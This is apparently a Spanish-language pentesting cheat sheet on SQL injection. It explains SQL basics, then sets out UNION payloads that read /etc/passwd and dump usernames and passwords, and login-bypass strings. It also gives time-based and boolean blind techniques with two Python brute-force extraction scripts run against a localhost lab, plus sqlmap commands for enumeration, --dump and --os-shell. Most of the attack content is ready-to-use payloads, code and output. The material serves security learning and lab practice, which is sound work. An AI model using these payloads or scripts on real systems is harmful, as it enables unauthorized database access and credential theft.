SQL Injection
¿Qué es y cómo funciona?
la inyección SQL es una técnica de inyección de código que se utiliza para atacar aplicaciones basadas en datos, en las que se insertan declaraciones SQL maliciosas en un campo de entrada para su ejecución (por ejemplo, para volcar el contenido de la base de datos al atacante).
Comandos básicos de SQL
SELECT
Se utiliza para seleccionar las columnas que se desean mostrar en la consulta.
FROM
Se utiliza para especificar la tabla o tablas de las que se desean recuperar los datos.
WHERE
Se utiliza para establecer una condición que deben cumplir los datos que se desean recuperar.
GROUP BY
Se utiliza para agrupar los datos por una o varias columnas.
HAVING
Se utiliza para establecer una condición que deben cumplir los grupos que se desean recuperar.
ORDER BY
Se utiliza para ordenar los datos por una o varias columnas.
LIMIT
Se utiliza para limitar el número de filas que se desean recuperar.
OFFSET
Se utiliza para establecer el número de filas que se deben saltar antes de empezar a recuperar datos.
DISTINCT
Se utiliza para eliminar las filas duplicadas de los resultados de la consulta.
IN
Se utiliza para especificar una lista de valores que deben cumplir una condición.
BETWEEN
Se utiliza para especificar un rango de valores que deben cumplir una condición.
LIKE
Se utiliza para buscar valores que contengan una cadena de caracteres determinada.
IS NULL
Se utiliza para buscar valores que sean nulos.
IS NOT NULL
Se utiliza para buscar valores que no sean nulos.
La tabla que se presenta a continuación enumera las posibilidades de las vistas de metadatos del sistema en diferentes bases de datos comunes:
MySQL
information_schema.SCHEMATA
Contiene una fila por cada base de datos en el servidor MySQL.
MySQL
information_schema.TABLES
Contiene información sobre cada tabla en cada base de datos en el servidor MySQL.
MySQL
information_schema.COLUMNS
Contiene información sobre cada columna en cada tabla en cada base de datos en el servidor MySQL.
MySQL
information_schema.INDEXES
Contiene información sobre cada índice en cada tabla en cada base de datos en el servidor MySQL.
PostgreSQL
pg_catalog.pg_namespace
Contiene información sobre cada esquema en la base de datos de PostgreSQL.
PostgreSQL
pg_catalog.pg_tables
Contiene información sobre cada tabla en cada esquema en la base de datos de PostgreSQL.
PostgreSQL
pg_catalog.pg_columns
Contiene información sobre cada columna en cada tabla en cada esquema en la base de datos de PostgreSQL.
PostgreSQL
pg_catalog.pg_indexes
Contiene información sobre cada índice en cada tabla en cada esquema en la base de datos de PostgreSQL.
SQL Server
sys.schemas
Contiene información sobre cada esquema en la base de datos de SQL Server.
SQL Server
sys.tables
Contiene información sobre cada tabla en cada esquema en la base de datos de SQL Server.
SQL Server
sys.columns
Contiene información sobre cada columna en cada tabla en cada esquema en la base de datos de SQL Server.
SQL Server
sys.indexes
Contiene información sobre cada índice en cada tabla en cada esquema en la base de datos de SQL Server.
Check List
Strings como ' or ""
SQL Comandos SELECT, UNION y otros.
Comandos # o --
También puede haber el caso que este sanitizado pero mal, y sin ponerle ' o "" ya funciona el comando (id=1 order by 2)
Tipos de SQL Injection
SQL In-Band
Tenemos que saber que esto:
select * from departamento where id = 2;
Es lo mismo que esto:
http://webside.com/ayuda/vista.php?id=2
Así que podemos hacer después del id=2 mas consultas basadas en error, una vez entendido esto, vamos a las comandos:
Test si hay sql injection
'admin OR sleep(5)-- - # si tarda 5 segundos significa que podemos inyectar
Error based - ORDER BY
Este proceso es para determinar cuantas columnas existen en la base de datos a la que estamos intentando de sacar información. Cuando hayamos hecho por ejemplo order by 10 -- -
y no salga información solo hace falta ir bajando hasta que salga y así sabremos cuantas columnas tiene la bbdd.
# Example
http://webside.com/ayuda/vista.php?id=2' order by 2 — -
order by 2 -- -
Nota importante: El caso es que a veces puede pasar que no sale el error, lo que hay que hacer es lo de siempre order by 100-- -
hasta que te salga información, cuando te salga información por ejemplo cuando has hecho order by 4-- -
significa que hay 4 columnas. Y ya puedes seguir con la inyección.
Recordar que para que muestre la info tenemos que poner el primer parametro que sea erroneo porque sino no funcionará. Si existe el id=2
al hacer la query id=2 union select 1,2,3,database() -- -
no saldrá información por que es correcto el id, habría que poner id=-1
o id=23123
para que funcione.
UNION
union select 1,2,3,4 -- -
union select 1,”test”,3,4 -- -
union select NULL,NULL,NULL,NULL -- -
union select 1,database(),3,4 -- - #mostrar bbdd actual
union select 1,user(),3,4 -- - # mostrar usuario
union select 1,@@version,3,4; -- - # mostrar version de sql
union select 1,load_file(‘/etc/passwd’),3,4 -- - # que nos muestre el fichero /etc/passwd
union select 1,group_concat(schema_name),3,4 from information_schema.schemata -- - # quiero que en el campo 2 pongas los nombres de todas las bases de datos disponibles
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = '<bbdd>' -- - # que en campo 2 me ponga todos los nombres de tablas
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = '<bbdd>' and table_name='<tabla>' -- -
union select 1,group_concat(username,0x3a,password),3,4 from <bbdd>.<table> -- - # nos de los usuarios y contraseñas de esa base de datos y esa tabla
A veces puede pasar que filtramos por (username y password) y puede que no aparezcan las contraseñas, eso es por que a veces suele estar en la columna "authentication_string"

Así que deberíamos añadir el campo en la syntaxis
union select 1,group_concat(username,0x3a,password,0x3a,authentication_string),3,4 from <bbdd>.<table> -- -
Test en buscador
A veces podemos sacar información en un buscador de la web mediante sqlinjection.
# Ejemplo
http://victim.site/view.php?id=1131
# Vulnerar con OR siempre TRUE (Ej: id=1131' OR '1'='1 )
' OR 1=1; -- -
' OR '1'='1
' OR 'a'='a
OR 1=1
' OR ''='
' or 1=2; -- - # Falsa condición
# UNION
' UNION SELECT 'j4ckie1', 'j4ckie2'; -- - # si da fallo, significa que hay más columnas y hay que añadir más 'j4ckie'
' UNION SELECT Username,Password FROM Accounts WHERE 'a'='a';
' UNION SELECT user(); -- -';
Test en Login
veces con este tipo de sql injectio podemos bypassear el login de un panel.
# Normalmente este proceso se prueba con Burpsuite
user=aa
password= aa
# Interceptamos la petición y realizamos unas pruebas
user=a'&pass=a # si da un fallo de mysql es vulnerable --> 302 NOT FOUND (probamos lo mismo en el campo password)
user=a' OR 1=1; -- -&password=a # true condition
user=a' OR 'j4ckie'='j4ckie'; -- -&password=a
user=a' OR 1=2; -- -&password=a # false condition
SQL Blind/Boolean-based
Cuando hablamos de una SQL Injection la cuál no podemos ver el resultado de la petición se le llama a ciegas, y dentro de esta misma variable hay de 2 tipos:
Basada en tiempo
Basada en condiciones
Tiempo
Una SQL Injection de tiempo son cuando enviamos una petición y le ponemos el parámetro sleep y dependiendo de lo que tarde en responder podriamos determinar si los datos son correctos o no.
Ejemplo de como sería por detrás
select * from users where id = 1 and sleep(5);
Ahora pondré un ejemplo de si la base de datos con la que estamos trabajando actualmente empieza por 'a' tarda 5 segundos en responder:
Primera petición
MariaDB [j4ckie0x17]> select * from users where id = 1 and if(substr(database(),1,1)='a',sleep(5),1);
+------+----------+-----------+
| id | username | password |
+------+----------+-----------+
| 1 | jack | admin1234 |
+------+----------+-----------+
1 row in set (0,001 sec)
Segunda petición
MariaDB [j4ckie0x17]> select * from users where id = 1 and if(substr(database(),1,1)='j',sleep(5),1);
Empty set 5,001 sec)
Como podemos ver en la segunda petición no nos da ningún resultado, eso nos da a entender que el primer carácter de la base de datos empieza por j. Y en la primera obviamente sería el resultado de una petición no correcta ya que no empieza por a.
Este proceso es un poco tedioso a la hora de hacerlo manual, por eso os traigo un script en python que estuve haciendo en un curso de s4vitar el cuál te automatiza todo el proceso:
Solamente tenemos que cambiar 2 parámetros que cambian dependiendo de a lo que nos enfrentemos:
main_url
sql_url
SQL-URL Examples
# Saber la base de datos
id=9' if(ascii(substr(database(),1,1))=106,sleep(5),1);
# Saber schema_name
?id=9' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))=%d,sleep(0.5),1)-- -
?id=9' and if(ascii(substr((select group_concat(table_name) from information_schema.tables),%d,1))=%d,sleep(0.5),1)-- -
?id=9' and if(ascii(substr((select group_concat(column_name) from information_schema.columns),%d,1))=%d,sleep(0.5),1)-- -
Script python para SQL Injection en GET
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
for position in range (1, 50):
for character in range(33, 126):
sqli_url = main_url + "?id=1 and if(ascii(substr(select group_concat(username,0x3a,password),%d,1))=%d,sleep(0.5),1)" % (position, character) # Aquí le decimos al 1er %d que es position y el segundo %d es character
p1.status(sqli_url)
time_start = time.time()
r = requests.get(sqli_url)
time_end = time.time()
if time_end - time_start > 0.5:
extracted_info += (chr(character))
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLI()
Resultado del script
python sqli_time.py
[↙] Fuerza bruta: http://localhost/searchUsers.php?id=1 and if(ascii(substr(database(),46,1))=53,sleep(0.5),1)[d]
Datos extraídos: j4ckie0x17:password123
Script python para SQL Injection en POST
Condiciones
Una SQL Injection condicional es cuando enviamos la petición y le ponemos la condición true o false.

Si ponemos al final de la query esto ' OR 1=1-- -
nos aparecera de nuevo toda la tabla ya que le estamos diciendo que obvie todo lo de atrás y que muestre todo ya que 1=1 es true.

O por ejemplo imaginemos que estamos enfrentandonos a una tabla de usuarios y queremos descubrir si el primer carácter empieza por a.
select(select substring(username,1,1) from users where id=1)='a';

Cómo el primer usuario es jack, la condición te dice que es 0 que es false. Pero si le ponemos ='j' veremos que pone 1.
select(select substring(username,1,1) from users where id=1)='j';

Otro ejemplo que lo estaré haciendo con curl es el siguiente:
El id 9 no existe pero como despues hacemos un OR 1=1
pues lo detecta como true que le decimos que obvie lo de atrás y muestre todo
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9 or 1=1"
HTTP/1.1 200 OK
Date: Tue, 02 May 2023 06:04:27 GMT
Server: Apache/2.4.56 (Debian)
Content-Length: 1
Content-Type: text/html; charset=UTF-8
Pero si ponemos 1=2 que es false nos dará un 404
curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9 or 1=2"
HTTP/1.1 404 Not Found
Date: Tue, 02 May 2023 06:05:33 GMT
Server: Apache/2.4.56 (Debian)
Content-Length: 1
Content-Type: text/html; charset=UTF-8
Script de python para condicones
#!/usr/bin/python3
import requests
import signal
import sys
import time
import string
from pwn import *
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables Globales
main_url = "http://localhost/searchUsers.php"
characters = string.printable
def makeSQLI():
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso")
time.sleep(2)
p2 = log.progress("Datos extraídos")
extracted_info = ""
for position in range (1, 50):
for character in range(33, 126):
sqli_url = main_url + "?id=9 or (select(select ascii(substring((select group_concat(username) from users),%d,1)) from users where id=1)=%d)" % (position, character) # Aquí le decimos al 1er %d que es position y el segundo %d es character
p1.status(sqli_url)
r = requests.get(sqli_url)
if r.status_code == 200:
extracted_info += (chr(character))
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLI()
Ejemplo SQL Injection - Error Based
Este ejemplo lo he realizado con un laboratorio que puedes instalarte en docker, aquí el link
Primero tenemos que saber cuantas columnas tiene la base de datos actual, con BurpSuite interceptamos la petición y la mandamos al Repeater para hacer las pruebas.
order by 9-- -

order by 5-- -
Vemos que con 5 ya no nos da error

Empecemos con lo bueno, vamos a realizar unas pruebas para ver si poniendo con UNION unos datos se representa en la tabla
' union select 1,2,database(),4,5-- -

Ahora vamos a listar todas las bases de datos existentes del servidor
' union select 1,2,schema_name,4,5 from information_schema.schemata-- -

En el siguiente comando listaremos las tablas de la base de datos sqlitraining
' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='sqlitraining'-- -

Seguidamente listaremos todas las columnas de la tabla users
' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='sqlitraining' and table_name='users'-- -

Nos interesan los campos username y password
' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -

Si cambiamos la respuesta a Pretty podemos seleccionar todos los datos

También podemos ver estos datos de una manera más ordenada poniendo el campo username y password en las columnas
' union select 1,username,password,4,5 from users-- -

SQL Map
Sintaxis principal
sqlmap -u <URL> -p <parametro de la inyección> [opcion]
Sqlmap en buscador
sqlmap -u 'http://victim.site/view.php?id=1141' -p id #Ejemplo de sintaxis
sqlmap -u <URL> -p <parametro de la inyección> [opcion] # Basic syntax
sqlmap -u <URL> -p <parametro> --technique=TECH #Get Request (TECH opciones: BEUSTQ)
sqlmap -u <URL> -p search --technique=U # buscar inyeccion UNION en la url
sqlmap -u <URL> -p search --technique=U --banner -v3 --fresh-queries # ver el payload que ha utilizado para la inyección.
sqlmap -u <URL> --method POST --data=param1=FUZZ¶m2=FUZZ #POST Request
sqlmap -u <URL> -p search --technique=U --dbs # Enumerar bases de datos
sqlmap -u <URL> --tables #Enumerar tablas
sqlmap -u <URL> --current-db <BBDD> --columns # Enumerar columnas
sqlmap -u <URL> -p search --technique=U -D <bbdd> -T users --columns # Enumerar columnas
sqlmap -u <URL> --current-db <BBDD> --dump #Ver datos de las columnas
sqlmap -u <URL> -p search --technique=U -D <bbdd> -T users -C username,password --dump # ver datos de esas columnas especificas
sqlmap -u <URL> -p search --technique=U --users # Enumerar usuarios
Cuando hayamos conseguido el payload del sql map para inyectarlo manualmente, al final poner siempre %23.
Sqlmap en Login
sqlmap -u 'http://victim.site/login.php' # url que atacamos
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B --banner # test inyeccion login
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -dbs # enum bbdd
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -D <BBDD> # bbdd especifica
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -D <BBDD> --tables
# Ahora con proxy interceptamos la request principal y la guardamos en un archivo
sqlmap -r <URL file> -p user --technique=B --banner # inyeccion en user
sqlmap -r <URL file> -p user --technique=B --banner -v3 # ver payload
sqlmap -r <URL file> -p user --os-shell # para obtener una shell en el mysql
POST /searchproducts.php HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://localhost:8000
DNT: 1
Connection: close
Referer: http://localhost:8000/searchproducts.php
Cookie: PHPSESSID=8118130a69f64a1de05e86673f417197
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
searchitem=test
Sqlmap -r
Primero hay que interceptar la petición y después guardarla en un fichero y entonces decirle al sqlmap que parámetro tiene que consultar
El parámetro al que queremos que compruebe si es vulnerable es `searchitem=test`
sqlmap -r request.req -p searchitem --batch # buscar si es vulnerable
sqlmap -r request.req -p searchitem --batch --dbs # mostrar bases de datos
sqlmap -r request.req -p searchitem --batch -D <base de datos> --tables # muestrame las tablas de X base de datos
sqlmap -r request.req -p searchitem --batch -D <base de datos> -T users --columns # columnas de tabla X
sqlmap -r request.req -p searchitem --batch -D <base de datos> -T users -C username,password --dump # muestrame la información de esas columnas
En /usr/share/sqlmap/output/<target> encontramos todos los logs de los comandos y info que hemos hecho. Si no hay nada ejecuta la siguiente comanda: sqlmap -r <URL file> -p user --technique=B --banner -v3 --flush-session
SQL Map cheat sheet
Aquí encontrarás todos los comandos de sqlmap: Cheat sheet
Last updated